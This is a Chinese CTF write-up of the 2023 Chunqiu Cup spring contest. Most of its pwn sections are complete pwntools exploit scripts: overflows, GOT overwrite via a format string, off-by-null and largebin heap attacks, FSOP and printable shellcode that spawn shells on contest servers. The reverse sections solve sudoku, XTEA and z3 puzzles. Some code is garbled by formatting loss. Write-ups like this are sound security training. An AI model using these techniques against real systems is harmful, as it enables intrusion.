【CTF】2023春秋杯春季赛pwn全解

admin 2023年5月31日08:38:50评论44 views字数 29467阅读98分13秒阅读模式

题目下载链接:https://pan.baidu.com/s/1Os1X9j4DtdDRNnsRKv7Z3A?pwd=wgfj

pwn

p2048

2048游戏,简单手动测试了一下,发现输入过长的时候会直接崩溃,而且此时rsp指向我们输入的数据,但是直接cyclic进去会game over,所以我直接写了一个很大的payload,然后直接去找开头的标记,地址是0xff8135e0,而崩溃时的esp指向0xff813a00,所以只要输入0x420字节,后面接后门函数,由于不知道程序基地址,但是经过调试发现可以覆盖部分返回地址,所以覆盖为后门函数,需要爆破4bit:

from pwn import *
# context.log_level = 'debug'

N = 1
while True:
    info(f"try {N} : ")
    # p = process("./p2048")
    p = remote("39.106.48.123"40427)
    p.sendlineafter(b'x20xc2xb7x20''a' * (0x420  - 0x8) + 's' * 4 + 'x60xde'  + 'xff')
    try:
        p.sendline("id")
        p.recv()
        p.sendline("id")
        p.recv()
    except:
        p.close()
    else:
        p.interactive()

easy_LzhiFTP_CHELL

上来先是一个登录,需要破解一个随机数,使用了srand(100)做种子,所以随机数是可以预测的(实际上就是不变,直接调试就能看到密码是字符r)

然后有6个字节(8-2)的格式化字符串漏洞可以拿来做leak,然后edit有负数溢出,直接编辑got为system。

from pwn import *
context.log_level = 'debug'
# p = process("./easy_LzhiFTP")
p = remote("39.106.48.123"13854)

p.sendlineafter("Username""1nv0k3r")
p.sendlineafter("Password""rx00")
p.sendlineafter("do you like my Server??(yes/No)""No%6$p")
p.recvuntil("Your Choice:No")
base = int(p.recvuntil("n")[:-1], 16) - 0x2096
success(f"base: {hex(base)}")

p.sendlineafter("IMLZH1-FTP> "b"touch " + p64(base + 0x4018))
p.sendlineafter("write Context:""a")

p.sendlineafter("IMLZH1-FTP> "'edit')
p.sendafter("idx:""-16")
p.sendafter("Content: ", p64(base + 0x1080))

p.sendlineafter("IMLZH1-FTP> ""touch shell")
p.sendlineafter("write Context:""/bin/shx00")


p.sendlineafter("IMLZH1-FTP> ""del")
p.sendlineafter("idx:""1")
# free: 0x4018
# struc: 0x4b00
# system: 0x1080
p.interactive()

babyaul

运行报错,搜索报错bad header,找到代码:

  *(_QWORD *)&v9[4] = 0x8040804010051LL;
  v7[0] = a1;
  *(_DWORD *)v9 = 'auLx1B';
  sub_11830(v7, &v10, 12LL);
  if ( *(_QWORD *)v9 != v10 || *(_DWORD *)&v9[8] != v11 )
    sub_11800(v7, v8, "bad header");
  v5 = sub_104B0(a1, "=?"2uLL);
  return sub_11950(v7, v5);
}

打个断点发现确实走到这里了,那么想办法让判断过去先,直接GDB里调试发现这里是check bins文件的文件头:

11FB2                 cmp     [rsp+58h+var_38], rax
$rax   : 0x40100536c75411b
0x007fffffffb430│+0x0020: 0x0401005161754c1b

手动修改一下前几个字节就可以:

1B 41 75 6C 53 -> 1B 4C 75 61 51

然后跑起来了,根据字符串内容推测是经典堆题,先要过一个pass,简单逆向一下可以看出,是通过一个time(0)做种子生成四个范围在0x30(0)-0x5a(Z)的字符,然后计算sha256,这个我们可以直接爆破。

然后搜到lua字节码可以直接拿工具跑出来源码:

java -jar unluac.jar bins

在添加堆块结束之后,有一个push & ret的东西,应该是是作者手工改了汇编:

【CTF】2023春秋杯春季赛pwn全解


导致IDA的反编译看不到这段代码,这里只要把push到ret的指令nop掉就可以正常F5了:

【CTF】2023春秋杯春季赛pwn全解


【CTF】2023春秋杯春季赛pwn全解


接下来就是经典off by null环节,提供了8次分配0x100堆块,1次任意大小的堆块和任意次的0x4f0-0x520大小的堆块,所以用了how2heap的做法,需要爆破1/16,然后setcontext过一下orw。

from pwn import *
import itertools
import hashlib

def crack_sha256_hash(hash_to_crack):
    chars = [i.to_bytes(1'little').decode('utf-8'for i in range(0x300x30 + 43)]
    for combination in itertools.product(chars, repeat=4):  # 生成所有的四位字符组合
        guess = ''.join(combination)
        hashed_guess = hashlib.sha256(guess.encode()).hexdigest()
        # print(hashed_guess)
        if hashed_guess == hash_to_crack:
            return guess
    return "No match found"

p = process("./babyaul")
pause()
context.log_level = 'debug'
p.sendlineafter(">""init_pass")
p.sendlineafter(">""pass")
password = p.recvuntil("n")[:-1].decode("utf-8")
# info(f"password: {password}")
p.sendlineafter("pass:", crack_sha256_hash(password))

def add(size, content):
    p.sendlineafter(">""add")
    p.sendlineafter("size?"str(size))
    if size == 0x100:
        mode = 2
    elif size >= 0x4f0 and size <= 0x520:
        mode = 3
    else:
        mode = 1
    p.sendlineafter("mode?"str(mode))
    sleep(0.1)
    p.send(content)

def free(index):
    p.sendlineafter(">""del")
    p.sendlineafter("index?"str(index))

def get(index):
    p.sendlineafter(">""get")
    p.sendlineafter("index?n"str(index))


add(0x100'padding')   # 0
add(0x500'prev')      # 1
add(0x4f0'victim')    # 2
add(0x100'g')         # 3
add(0x4f0'a')         # 4
add(0x100'g')         # 5
add(0x510'b')         # 6
add(0x100'g')         # 7

free(4)
free(6)
free(1)
add(0x1000'l')        # 1
add(0x500, p64(0) + p64(0x501))     # 4, victim->prev_size = 0x500
add(0x510, p16(0xe240))    # 6, b->fd = a
add(0x4f0'a2')        # 8
free(8)
free(2)
add(0x4f0, p64(0) + p16(0xe240))    # 2
add(0x4f0'a')         # 8

get(6)
heap_base = u64(p.recv(6).ljust(8b'x00')) - 0xb240
free(4)

payload = p64(heap_base + 0xbd50) + p64(0x501) + p64(heap_base + 0xbd50) + p64(heap_base + 0xc360)
add(0x508, payload.ljust(0x500b'x00') + p64(0x500))  # 4
free(8)

add(0x100'a')    # 8
get(8)
libc_base = u64(p.recv(6).ljust(8b'x00')) - 0x1ed161
free_hook = libc_base + 0x1eee48

free(7)
free(8)

magic = libc_base + 0x0000000000151990  # : mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 
ret = libc_base + 0x00000000000c067d    # : ret; 
pop_rdi = libc_base + 0x0000000000023b6a    # : pop rdi; ret; 
pop_rsi = libc_base + 0x000000000002601f    # : pop rsi; ret; 
pop_rdx = libc_base + 0x0000000000142c92    # : pop rdx; ret; 
setcontext_61 = libc_base + 0x54f5d
flag = heap_base + 0xb370

orw  = p64(pop_rdi)
orw += p64(flag)
orw += p64(pop_rsi)
orw += p64(0)
orw += p64(libc_base + 0x10dce0)    # open

orw += p64(pop_rdi)
orw += p64(3)
orw += p64(pop_rsi)
orw += p64(flag)
orw += p64(pop_rdx)
orw += p64(0x50)
orw += p64(libc_base + 0x10dfc0)    # read

orw += p64(pop_rdi)
orw += p64(flag)
orw += p64(libc_base + 0x84420# puts

payload  = b''
payload += p64(setcontext_61)
payload += p64(heap_base + 0xb340)
payload += b'./flagx00x00'
payload += p64(0) * 13
payload += p64(heap_base + 0xb3e8)    # mov rsp, [rdx + 0xa0]
payload += p64(ret)
payload += orw


payload = payload.ljust(0x3e0b'xff')
payload += p64(0x500)
payload += p64(0x111)

add(0x4f0, payload)
free(4)
add(0x500, p64(0) + p64(0x111) + p64(free_hook))
add(0x100'a')
add(0x100, p64(magic))
free(7)

p.interactive()

three-body

经典堆题,在free后没有置空导致了uaf,然后是glibc 2.35,给的libc去掉了符号导致调试器没法正确读取堆信息,所以需要复制一份带符号的libc过来,改一下名字就可以正常调试堆信息了。

我选择的是通过largebin attack做house of apple3,需要注意的是只有一次读写,刚好house of apple3的例题也是这样,所以甚至堆风水也可以抄。

from pwn import *

# p = process("./pwn")
p = remote("39.106.48.123"41557)
pause()
context.log_level = 'debug'
def add(idx, size):
    while True:
        p.sendlineafter("Your choice: ""1")
        p.sendlineafter("Select an area to explore: "str(idx))
        p.sendlineafter("Enter the size of the range you want to explore this time: "str(size))
        p.sendlineafter("Your decision: (1: yes / 0: no)""0")
        p.recvuntil("It seems that you are confident in yourself, move on.n")
        if p.recvuntil("n") == b"Luckily, you didn't encounter a chaotic era.n":
            break
        else:
            p.sendlineafter("Your choice: ""2")
            p.sendlineafter("Select an area you want to abandon to return: "str(idx))

def free(idx):
    p.sendlineafter("Your choice: ""2")
    p.sendlineafter("Select an area you want to abandon to return: "str(idx))

def edit(idx, size, content):
    p.sendlineafter("Your choice: ""3")
    p.sendlineafter("Please select which area to talk to: "str(idx))
    p.sendlineafter("Since remote calls are costly, enter the specific number of words you want to send: "str(size))
    p.sendlineafter("Please write down your conclusions: ", content)

def show(idx):
    p.sendlineafter("Your choice: ""4")
    p.sendlineafter("Select to enter an area to receive a signal from the Trisolarans: "str(idx))

def pwn():
    p.sendlineafter("Your choice: ""5")

add(00x538)
add(10x538)
add(20x528)

free(2)
free(1)
free(0)

add(30x528)
add(40x528)
add(50x528)
add(60x528)

free(3)
free(5)
show(3)
p.recvuntil("follows:n")
libc = u64(p.recvuntil("x00x00")) - 0x219ce0
success(hex(libc))
heap = u64(p.recvuntil("x00x00")) - 0xcf0
success(hex(heap))

free(4)
free(6)

add(70xa48)
add(80x528)
add(90x528)

free(8)
add(100x558)

libc_elf = ELF("./libc-2.35.so")

target_addr = libc + libc_elf.sym["_IO_list_all"]

_lock = libc + 0x21ba60
_IO_wide_data_2 = libc + 0x2198a0
fake_IO_FILE = heap + 0xd10
_IO_wfile_jumps = libc + libc_elf.sym["_IO_wfile_jumps"]

mov_rax_rdi_call_rax = libc + 0x000000000015d65a    # : mov rax, qword ptr [rdi + 0x38]; call qword ptr [rax + 0x10]; 
mov_rdi_from_rax = libc + 0x00000000001630f4        # : mov rdi, qword ptr [rax]; mov rax, qword ptr [rdi + 0x38]; call qword ptr [rax + 0x10]; 
mov_rdx_from_rdi = libc + 0x00000000001675b0        # : mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 
bin_sh_addr = libc + 0x1d8698
system = libc + 0x50d60
f1 = flat({
    0x0: p64(0),        # _flags
    0x08: p64(0x501),   # _IO_read_ptr
    0x88: p64(_lock),   # _lock
    0xa0: p64(_IO_wide_data_2),     # _wide_data
    0x98: p64(fake_IO_FILE + 0xe0),              # _codecvt
    0xd8: p64(_IO_wfile_jumps + 8)      # vtable
}, filler="x00")

payload = flat({
    0x00: p64(0),
    0x08: p64(target_addr - 0x20),
    0x10: {
        0: {
            0bytes(f1),
            0xe0: p64(fake_IO_FILE + 0x100),
            0x100: {
                00# fp->_codecvt->__cd_in.step->__shlib_handle
                0x28: p64(mov_rax_rdi_call_rax), # fp->_codecvt->__cd_in.step->__fct
                0x38: p64(fake_IO_FILE + 0x140)
            },
            0x140: { # rax1
                0: p64(fake_IO_FILE + 0x180), # rdi1
                0x10: p64(mov_rdi_from_rax)
            },
            0x180: {
                0b'/bin/shx00',
                0x38: p64(fake_IO_FILE + 0x1c0)
            },
            0x1c0: {
                0x10: p64(system)
            }
        },

    },
    0x510: p64(0),
    0x518: p64(0x541)
}, filler="x00")

edit(5len(payload), payload)
free(2)
add(110x558)
pwn()
p.interactive()

babygame

提供playgame和shop两个选项

playgame先输入level,然后生成四个随机字符,过一个md5 check,可以爆破,成功后会加coin

shop四个选项,购买道具可以选择花费coin往bss上写可打印字符,扩充背包可以花费coin把背包扩充到最大512字节,使用道具是获取写进背包的前4字节,进一个类似虚拟机的东西,可以在栈上任意读写,直接改上级函数返回地址,然后查看背包有个格式化字符串漏洞,可以拿来做泄露。

那么我们首先就是把背包扩充到512字节,需要512*100的coin,然后每次往背包写1字节需要100coin,爆破1字节是200coin,只有爆破4字节给的比较多,有2000coin,可以测一下爆破时间,发现爆破100次1字节比10次4字节快很多,所以选择爆破1字节刷钱,实际测试由于远程IO交互速度严重拖慢运行时间,反而爆破4字节快很多,所以本地用1字节测试,远程用4字节

由于没给libc,所以先leak libc看一下远程版本确定是2.31,所以思路就是先用格式化字符串做泄露,然后用虚拟机功能覆写返回地址就可以,由于限制了输入字符只能是可打印字符(0x20-0x7E),而且没法覆盖到上个函数的返回地址(当前函数返回地址只覆盖一位会让程序没法继续进行),那么我们注意到操作码C可以把整个地址复制:

    case 'C':
      result = *(_QWORD *)&v5[v4 + 16];
      *(_QWORD *)&v5[v2] = result;
      break;

所以先在其他地方写好要写的数据,然后用操作码C覆盖上去。

利用两次异或和一次左移就可以输入任意字符,然后试着写了一下one gadget发现不行,接下来就是一直在想怎么搞ROP链,结果突然想起来开头mmap了一段已知地址(0x20000)的RWX段,直接跳到shellcode上就可以,找个可打印字符的shellcode,然后手算一下地址写上去就行了:

from tracemalloc import start
from pwn import *
import hashlib
import itertools
import time
p = process("./pwn")
# p = remote('39.106.48.123', 31564)
# pause()
# context.log_level = 'debug'
def md5_brute(pattern, md5):
    alphabet = "abcdefghijklmnopqrstuvwxyz"
    pattern_chars = [c for c in pattern]

    # Generate all possible combinations of letters for the missing positions
    missing_chars = itertools.product(alphabet, repeat=4 - len(pattern_chars))

    for chars in missing_chars:
        plaintext = "".join(list(chars) + pattern_chars)
        hashed = hashlib.md5(plaintext.encode()).hexdigest()
        if hashed == md5:
            return plaintext
    return None

def play_game():
    p.sendlineafter(">> ""1")
    p.sendlineafter("Please enter your level : ""1")
    start_time = time.time()

    for i in range(512):
        p.recvuntil("MD5(")
        code = p.recvuntil(")")[:-1]
        p.recvuntil(" == ")
        md5 = p.recvuntil("n")[:-1]
        give = md5_brute(code.replace(b"?"b"").decode("utf-8"), md5.decode("utf-8"))
        p.sendlineafter("Give me : ", give)

    end_time = time.time()
    success(f"TIME: {end_time - start_time}")
    p.sendlineafter("Give me : ""END")

def expansion_pack():
    p.sendlineafter(">> ""2")
    p.sendlineafter(">> ""2")
    p.sendlineafter("What size do you need : n""512")

def input_str(input):
    p.sendlineafter(">> ""2")
    p.sendlineafter(">> ""1")
    p.sendlineafter("Enter the letter you want to purchasen"input)

def format_string_exec():
    p.sendlineafter(">> ""2")
    p.sendlineafter(">> ""4")

def exec_vm():
    p.sendlineafter(">> ""2")
    p.sendlineafter(">> ""3")

play_game()
expansion_pack()
# p.interactive()
shellcode = b'XTX4e4uH10H30VYhJG00X1AdTYXHcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394cEB00'
input_str("%11$p")
format_string_exec()
p.recvuntil("40x")
libc = int(p.recvuntil("n")[:-1], 16) - 0x24083
success(hex(libc))
one_gadget = libc + 0xe3afe
pop_rsp_ret = libc + 0x000000000002f70a # : pop rsp; ret; 
pop_rdi_ret = libc + 0x0000000000023b6a # : pop rdi; ret; 
binsh       = libc + 0x001b45bd         # /bin/sh 
system_addr = libc + 0x52290
rax = b'0'
rbx = b'1'
rcx = b'2'
target = p8(0x57)
pattern = b'0'
mov = b'A'
xor = b'I'
shift_l = b'J'
cmd = b''
# 0x007fab3ac99af4a0
# 0x007fab3abb6000
# success(hex(one_gadget))
# 8 - 15
payload  = b''
# payload += p64(pop_rdi_ret)
# payload += p64(binsh)
payload += p32(0x20064)

for i in payload:
    for j in range(0x410x7e + 1):
        for k in range(0x410x7e + 1):
            for l in range(0x410x7e + 1):
                if (((j - 55) ^ (k - 55)) << 1) ^ (l - 55) == i:
                    cmd += mov + rax + pattern + j.to_bytes(1'little')
                    cmd += mov + rbx + pattern + k.to_bytes(1'little')
                    cmd += mov + rcx + pattern + l.to_bytes(1'little')
                    cmd += xor + rax + rax + rbx
                    cmd += shift_l + rax + rax + pattern
                    cmd += xor + target + rax + rcx
                    target = p8(u8(target) + 1)
                    break
            else:
                continue
            break
        else:
            continue
        break

cmd += b'C' + b'x6f' + pattern + b'x47'
print(cmd)
input_str(cmd + shellcode)
print(cmd + shellcode)
exec_vm()
p.interactive()

sigin_shellcode

mips题,首先需要获取金币,虽然写了随机数但是没什么用,每轮可以获取的最大金币数只和层数有关,所以直接跑出来最大金币数,然后在99层的时候,去shopping买东西就可以,然后会给一个16字节ASCII的shellcode执行,结果调试(用qemu+gdb-multiarch)发现程序已经写好了syscall execve的shellcode,并且在a0写好了/bin/sh的地址:

 A0   0x407ff930 ◂— '//bin/sh'
 A1   0xc
 A2   0x1
 A3   0x0

   0x407ff980    andi   $a1$t3, 0x6160
   0x407ff984    andi   $a2$t3, 0x6160
   0x407ff988    addiu  $v0$zero, 0xfab
 ► 0x407ff98c    syscall  <SYS_execve>
        path: 0x407ff930 ◂— '//bin/sh'
        argv: 0x0
        envp: 0x0

我们只需要用两句shellcode清空一下a1和a2,让shellcode正常执行就可以shell了,然后就是手动测一下哪些shellcode在printable里,由于mips是32位定长指令,所以直接看指令格式就可以计算出来:

from pwn import *
context(arch='mips',endian='little',log_level='debug')
DEBUG = False

if DEBUG:
    p = process(["qemu-mipsel-static","-g""1234""-L","./","./pwn"])
else:
    # p = process(["qemu-mipsel-static", "-L","./","./pwn"])
    p = remote("39.106.65.110"33086)

def get_coin(i):
    p.sendlineafter("Go> n""1")
    p.sendlineafter("How much do you want?n"str(i))


for i in range(99):
    get_coin((0x7c6ed291 % 0x1bf52) % (i + 1))

p.sendlineafter("Go> n""3")
p.sendlineafter("> n""3")
p.sendlineafter("Go> n""3")
p.sendlineafter("> n""2")
p.sendlineafter("Go> n""1")
p.sendlineafter("How much do you want?n""0")
shellcode = asm("""
andi $a1,$t3,0x6160;
andi $a2,$t3,0x6160;
"""
)
p.sendafter("Shellcode > n", shellcode)
p.interactive()

# 26 30 c6 00

# 0011,00 01/010 0,0101/
# 0011,00 xx/xxx 0,0102

re

sum

输入50个0-9字符,然后内存看到一个81字节的matrix,一眼数独,dump出来找个在线计算的即可得到flag

matrix = [0x050x030x000x000x070x000x000x000x000x060x000x000x010x090x050x000x000x000x000x090x080x000x000x000x000x060x000x080x000x000x000x060x000x000x000x030x040x000x000x080x000x030x000x000x010x070x000x000x000x020x000x000x000x060x000x060x000x000x000x000x020x080x000x000x000x000x040x010x090x000x000x050x000x000x000x000x080x000x000x070x09]

m = []
for i in range(9):
    m.append(matrix[i * 9 : (i * 9) + 9])

import random 
import sys  
sys.setrecursionlimit(100000# 发现python默认的递归深度是很有限的
                              #(默认是1000),因此当递归深度超过999的
                              # 样子,就会引发这样的一个异常。


def get_next(m:"数独矩阵", x:"空白格行数", y:"空白格列数"):
    """ 功能:获得下一个空白格在数独中的坐标。       
    """

    for next_y in range(y+19):  # 下一个空白格和当前格在一行的情况
        if m[x][next_y] == 0:
            return x, next_y
    for next_x in range(x+19):  # 下一个空白格和当前格不在一行的情况
        for next_y in range(09):
            if m[next_x][next_y] == 0:
                return next_x, next_y
    return -1, -1               # 若不存在下一个空白格,则返回 -1,-1

def value(m:"数独矩阵", x:"空白格行数", y:"空白格列数"):
    """ 功能:返回符合"每个横排和竖排以及
              九宫格内无相同数字"这个条件的有效值。
    """
 
    i, j = x//3, y//3
    grid = [m[i*3+r][j*3+c] for r in range(3for c in range(3)]
    v = set([x for x in range(1,10)]) - set(grid) - set(m[x]) - 
        set(list(zip(*m))[y])    
    return list(v)

def start_pos(m:"数独矩阵"):
    """ 功能:返回第一个空白格的位置坐标"""
    for x in range(9):
        for y in range(9):
            if m[x][y] == 0:
                return x, y
    return FalseFalse  # 若数独已完成,则返回 False, False

def try_sudoku(m:"数独矩阵", x:"空白格行数", y:"空白格列数"):
    """ 功能:试着填写数独 """
    for v in value(m, x, y):
        m[x][y] = v
        next_x, next_y = get_next(m, x, y)
        if next_y == -1# 如果无下一个空白格
            return True
        else:
            end = try_sudoku(m, next_x, next_y) # 递归
            if end:
                return True
            m[x][y] = 0 # 在递归的过程中,如果数独没有解开,
                        # 则回溯到上一个空白格

def sudoku(m):        
    x, y = start_pos(m)
    try_sudoku(m, x, y)
    print(m)


import copy
n = copy.deepcopy(m)
sudoku(m)

flag = ''
for i in range(9):
    for j in range(9):
        if n[i][j] == 0:
            flag += str(m[i][j])

print(flag)

Poisoned_tea_CHELL

Linux程序,加了upx壳,并且去掉了特征字符串导致没法用upx一键脱壳,只能用ida动态调试,而且没法启动,需要通过附加的方式调试,然后选择check flag功能,可以断到关键函数:

  puts("##############", a2, v22);
  printf((int)"ninput flag: ", a2, v2, v3, v4, v5, v9);
  scanf("%s", v22);
  getchar();
  for ( i = 0; v22[i]; i += 2 )
  {
    v13 = v22[i];
    v14 = v22[i + 1];
    v6 = &v13;
    sub_7F56CAE07403(dword_7F56CAE0A030, (unsigned int *)&v13, (__int64)v16);
    v22[i] = v13;
    v7 = (unsigned int)(i + 1);
    v22[(int)v7] = v14;
  }
  for ( j = 0; v22[j]; j += 2 )
  {
    v17 = dword_7F56CAE0A1E0[j];
    v18 = dword_7F56CAE0A1E0[j + 1];
    v19 = v22[j];
    v20 = v22[j + 1];
    v7 = v17;
    if ( v17 == v19 )
    {
      v7 = v18;
      if ( v18 == v20 )
        continue;
    }
    v10 = 0;
    break;
  }
  if ( v10 )
    puts("Your input is correct.", v6, v7);
  else
    puts("Your input is incorrect.", v6, v7);
__int64 __fastcall sub_7F56CAE07403(int a1, unsigned int *a2, __int64 a3)
{  v5 = *a2;
  v6 = a2[1];
  v7 = 0;
  for ( i = 0; i < a1; ++i )
  {
    v5 += (v6 + ((v6 >> 5) ^ (16 * v6))) ^ (*(_DWORD *)(4LL * (v7 & 3) + a3) + v7);
    v7 -= 0x41104111;
    v6 += (v5 + ((v5 >> 5) ^ (16 * v5))) ^ (*(_DWORD *)(4LL * ((v7 >> 11) & 3) + a3) + v7);
  }
  *a2 = v5;
  result = v6;
  a2[1] = v6;
  return result;
}

一眼xtea,a2是明文,a3是key,可以看到key是5,2,9,7,然后flag按8字节进行加密,结果进行比对,直接dump出结果进行解密:

#include <stdio.h>
#include <stdint.h>
 
/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */
 
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], sum=0, delta=0xbeefbeef;
    for (i=0; i < num_rounds; i++) {
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum += delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
    }
    v[0]=v0; v[1]=v1;
}
 
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], delta=0xbeefbeef, sum=delta*num_rounds;
    for (i=0; i < num_rounds; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0]=v0; v[1]=v1;
}
 
int main()
{
    uint32_t const k[4]={5,2,9,7};
    unsigned int r=36;
    unsigned char ida_chars[] =
    {
        0x010xA30xFD0xEC0xF50xCD0xBE0x610x7D0x6C
        0x9E0xB80x680xDC0x360xCE0x9E0x530x6E0x4B
        0x040xB50x2E0x640x3C0xD30xF90x540x650xE3
        0x060x6D0x530x3D0x870xEA0x070x850x610xA4
        0x300x8E0xB10xD70x420x400x5B0xC4
    };
    for (int i = 0; i < strlen(ida_chars); i += 8){
        uint32_t v[2] = {0x0};
        for (int j = 0; j < 4; j ++){
            v[0] += (ida_chars[j + i] << (8 * j));
            v[1] += (ida_chars[j + i + 4] << (8 * j));
        }
        decipher(r, v, k);
        printf(v);
    }
}

Pytrans

pyinstaller打包,找工具直接得到py源码https://xz.aliyun.com/t/10450#toc-11

# uncompyle6 version 3.9.0
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0]
# Embedded file name: run.py
import base64, zlib, ctypes
try:
    mylib = ctypes.cdll.LoadLibrary('./mylib.so')
except:
    print('file no exit!')
else:
    a = []
try:
    sstr = input("Please enter the 10 digits and ending with '\n': ").split(' ')
    if len(sstr) == 10:
        for i in sstr:
            a.append(int(i))

    mylib.check.argtypes = (
     ctypes.POINTER(ctypes.c_int), ctypes.c_int)
    mylib.check.restype = ctypes.c_char_p
    scrambled_code_string = mylib.check((ctypes.c_int * len(a))(*a), len(a))
    try:
        decoded_data = base64.b64decode(scrambled_code_string)
        uncompressed_data = zlib.decompress(decoded_data)
        exec(__import__('marshal').loads(uncompressed_data))
    except:
        print('Incorrect input caused decryption failure!')

except:
    pass

在mylib.so里,调用了一个check函数:

  if ( -27 * a1[7]
     + -11 * a1[6]
     + 16 * a1[5]
     + *a1
     + 2 * a1[1]
     - a1[2]
     + 8 * a1[3]
     - 14 * a1[4]
     + 26 * a1[8]
     + 17 * a1[9] != 14462
    || -30 * a1[8] + 13 * a1[5] + a1[3] + a1[1] + 2 * *a1 - 15 * a1[4] - 24 * a1[6] + 16 * a1[7] + 36 * a1[9] != -2591
    || 16 * a1[6]
     + -21 * a1[5]
     + 7 * a1[3]
     + 3 * a1[1]
     - *a1
     - a1[2]
     + 12 * a1[4]
     - 23 * a1[7]
     + 25 * a1[8]
     - 18 * a1[9] != 2517
    || -6 * a1[6] + 2 * a1[2] - a1[1] + 2 * a1[5] + 9 * a1[7] + 2 * a1[8] - 5 * a1[9] != 203
    || -5 * a1[8] + 6 * a1[7] + 3 * a1[1] - a1[3] - a1[5] + a1[6] + 5 * a1[9] != 3547
    || -9 * a1[8] + a1[4] + a1[2] + a1[7] - 5 * a1[9] != -7609
    || 2 * a1[5] + -a1[3] - a1[4] + a1[8] + 6 * a1[9] != 4884
    || a1[6] - a1[7] + 2 * a1[8] != 1618
    || a1[4] - a1[6] + 2 * a1[9] != 1096
    || a1[8] + a1[4] + a1[3] + a1[2] + a1[1] + *a1 - a1[5] - a1[6] - a1[7] - a1[9] != 711
    || 2 * (2 * a1[4] + a1[3]) + 5 * a1[5] != 'x1BxEF' )
  {
    return 0LL;
  }

写个z3求一下:

from z3 import *
s = Solver()

input = []
for i in range(10):
    input.append(Int(f"input{i}"))
    # s.add(input[i] > 0, input[i] < 256)

s.add(-27 * input[7] - 11 * input[6] + 16 * input[5] + input[0] + 2 * input[1] - input[2] + 8 * input[3] - 14 * input[4] + 26 * input[8] + 17 * input[9] == 14462)
s.add(-30 * input[8] + 13 * input[5] + input[3] + input[1] + 2 * input[0] - 15 * input[4] - 24 * input[6] + 16 * input[7] + 36 * input[9] == -2591)
s.add(16 * input[6] - 21 * input[5] + 7 * input[3] + 3 * input[1] - input[0] - input[2] + 12 * input[4] - 23 * input[7] + 25 * input[8] - 18 * input[9] == 2517)
s.add(-6 * input[6] + 2 * input[2] - input[1] + 2 * input[5] + 9 * input[7] + 2 * input[8] - 5 * input[9] == 203)
s.add(-5 * input[8] + 6 * input[7] + 3 * input[1] - input[3] - input[5] + input[6] + 5 * input[9] == 3547)
s.add(-9 * input[8] + input[4] + input[2] + input[7] - 5 * input[9] == -7609)
s.add(2 * input[5] - input[3] - input[4] + input[8] + 6 * input[9] == 4884)
s.add(input[6] - input[7] + 2 * input[8] == 1618)
s.add(input[4] - input[6] + 2 * input[9] == 1096)
s.add(input[8] + input[4] + input[3] + input[2] + input[1] + input[0] - input[5] - input[6] - input[7] - input[9] == 711)
s.add(2 * (2 * input[4] + input[3]) + 5 * input[5] == 7151)

if s.check() == sat:
    m = s.model()
    print(m)
else:
    print('unsat'

# [input5 = 637,
#  input8 = 648,
#  input7 = 575,
#  input9 = 738,
#  input0 = 511,
#  input1 = 112,
#  input2 = 821,
#  input3 = 949,
#  input4 = 517,
#  input6 = 897]

# 511 112 821 949 517 637 897 575 648 738

然后可以运行到下面的exec(__import__('marshal').loads(uncompressed_data)),保存成文件,从struct.pyc复制一个头部过去,然后用uncompyle6就可以得到源码了:

# uncompyle6 version 3.9.0
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0]
# Embedded file name: sample.py
footprint = '3qzqns4hj6neeaxc!4a-%nd735_@4l6gnf1gd1v7hdmn1+$-953}81na^21vbnm3!n-#*f-e1d8_n2ty9uipok-n6r1802f7d1n9wez1c-f{0'
xx0000 = []
footprintlist = footprint.split('n')
for i in range(len(footprintlist)):
    xx0000.append(list(footprintlist[i]))
else:

    def xxxx000x0(num):
        xx000000 = format(num, '010b')
        return xx000000


    oxooxxxxxoooo = []
    xx0000000 = input("Please enter the previous 10 digits again and ending with '\n': ").split(' ')
    if len(xx0000000) == 10:
        try:
            for i in xx0000000:
                oxooxxxxxoooo.append(int(i))

        except:
            print('err input!')
            exit(-1)

    else:
        print('err input!')
        exit(-1)
    for i in range(len(oxooxxxxxoooo)):
        oxooxxxxxoooo[i] = list(xxxx000x0(oxooxxxxxoooo[i]))
    else:
        xx0000x000 = oxooxxxxxoooo
        x, o = (00)
        xx00x00x0xxx00 = [(x, o)]
        xx00x00x0xxx00input = list(input('input maze path:'))
        count = 0
        while (x, o) != (99):
            if count < len(xx00x00x0xxx00input):
                xx0000x0xxx00 = xx00x00x0xxx00input[count]
                if xx0000x0xxx00 == 'a':
                    if o > 0 and xx0000x000[x][o - 1] == '0':
                        o -= 1
                        count += 1
                        xx00x00x0xxx00.append((x, o))
                    else:
                        print('wrong!')
                        exit(-1)
                elif xx0000x0xxx00 == 'd':
                    if o < 9 and xx0000x000[x][o + 1] == '0':
                        count += 1
                        o += 1
                        xx00x00x0xxx00.append((x, o))
                    else:
                        print('wrong!')
                        exit(-1)
                else:
                    if xx0000x0xxx00 == 'w':
                        if x > 0 and xx0000x000[x - 1][o] == '0':
                            count += 1
                            x -= 1
                            xx00x00x0xxx00.append((x, o))
                        else:
                            print('wrong!')
                            exit(-1)
                    else:
                        if xx0000x0xxx00 == 's':
                            if x < 9 and xx0000x000[x + 1][o] == '0':
                                count += 1
                                x += 1
                                xx00x00x0xxx00.append((x, o))
                            else:
                                print('wrong!')
                                exit(-1)
                        else:
                            print('wrong!')
                            exit(-1)
            else:
                print('wrong!')
